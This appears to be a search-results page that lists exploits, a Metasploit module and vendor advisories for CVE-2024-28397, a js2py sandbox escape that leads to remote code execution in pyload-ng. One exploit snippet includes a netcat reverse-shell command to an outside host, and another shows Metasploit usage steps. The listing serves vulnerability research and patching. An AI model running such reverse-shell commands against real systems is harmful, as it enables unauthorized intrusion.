22 matches found
Remote-Code-Execution-CVE-2024-28397-pyload-ng-js2py-
Ejecución Remota de Código – CVE-2024-28397 pyload-ng / js2py Este repositorio contiene un exploit de Prueba de Concepto PoC para CVE-2024-28397 , una vulnerabilidad de Ejecución Remota de Código que afecta a pyload-ng debido al uso inseguro de js2py. Aviso legal: Esta PoC es solo para fines...
CVE-2024-28397-Js2Py-RCE
CVE-2024-28397 - Generador de Payloads de Evasión de Sandbox en Js2Py Este script genera un payload JavaScript que puede ser evaluado por Js2Py en entornos vulnerables donde los internals de Python están expuestos a través de wrappers de objetos. Uso Ejecución básica de comandos: root@kitploit:...
js2py-Sandbox-Escape-CVE-2024-28397-RCE
CVE-2024-28397 js2py 沙箱逃逸漏洞利用 针对 js2py 沙箱逃逸漏洞 CVE‑2024‑28397 的利用脚本集合，该漏洞允许通过 Python 对象内省实现任意代码执行。 🔍 漏洞概述 js2py 库中存在一个关键的沙箱逃逸漏洞，攻击者可通过 JavaScript 的 Object.getOwnPropertyNames 方法访问 Python 内部对象，从而执行任意 Python 代码。 技术细节 CVE ID : CVE-2024-28397 受影响库 : js2py JavaScript 转 Python 翻译器 攻击向量 : 通过 Python...
Js2Py 0.74 - RCE
Exploit Title: Js2Py 0.74 - RCE Date: 2026-02-03 Exploit Author: Ali Sünbül xeloxa Author Page: https://github.com/xeloxa Vendor Homepage: https://github.com/PiotrDabkowski/Js2Py Software Link: https://pypi.org/project/Js2Py/ Version: payload.js python3 exploit.py -c "nc -e /bin/bash 10.10.10.10...
📄 js2py 0.74 Automated Sandbox Escape / Code Execution
js2py version 0.74 automated sandbox escape and remote code execution exploit with a reverse shell. ============================================================================================================================================= | Title : js2py v0.74 Automated Sandbox Escape & Revers...
Exploit for CVE-2024-28397
🚨 Remote Code Execution – CVE-2024-28397 pyload-ng / js2py...
Linux Distros Unpatched Vulnerability : CVE-2024-28397
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An issue in the component js2py.disablepyimport of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call. CVE-2024-28397 Note that...
Exploit for CVE-2024-28397
CVE-2024-28397-command-execution-poc This vulnerability arises...
Pyload Remote Code Execution
This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'rex/stopwatch' class MetasploitModule 'Pyload RCE CVE-2024-39205 with js2py sandbox escape CVE-2024-28397', 'Description' = %q CVE-2024-28397 is sandbox escape ...
Pyload Remote Code Execution Exploit
CVE-2024-28397 is a sandbox escape in js2py versions 0.74 and below. js2py is a popular python package that can evaluate javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape...
Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)
CVE-2024-28397 is sandbox escape in js2py use exploit/linux/http/pyload/js2pycve202439205 msf undefinedjs2pycve202439205 show actions ...actions... msf undefinedjs2pycve202439205 set ACTION msf undefinedjs2pycve202439205 show options ...show and set options... msf undefinedjs2pycve202439205 run...
GHSA-R9PP-R4XF-597R pyload-ng vulnerable to RCE with js2py sandbox escape
Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Details js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the...
pyload-ng vulnerable to RCE with js2py sandbox escape
Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Details js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the...
openSUSE Security Advisory (SUSE-SU-2024:2272-1)
The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
Mageia: Security Advisory (MGASA-2024-0256)
The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
openSUSE 15 Security Update : python-Js2Py (SUSE-SU-2024:2272-1)
The remote openSUSE 15 host has a package installed that is affected by a vulnerability as referenced in the SUSE- SU-2024:2272-1 advisory. - CVE-2024-28397: Fixed a potential sandbox escape via untrusted JavaScript code bsc1226660. Tenable has extracted the preceding description block directly...
SUSE-SU-2024:2272-1 Security update for python-Js2Py
This update for python-Js2Py fixes the following issues: - CVE-2024-28397: Fixed a potential sandbox escape via untrusted JavaScript code bsc1226660...
Exploit for CVE-2024-28397
Perkenalan 中文 js2py is a popular python...
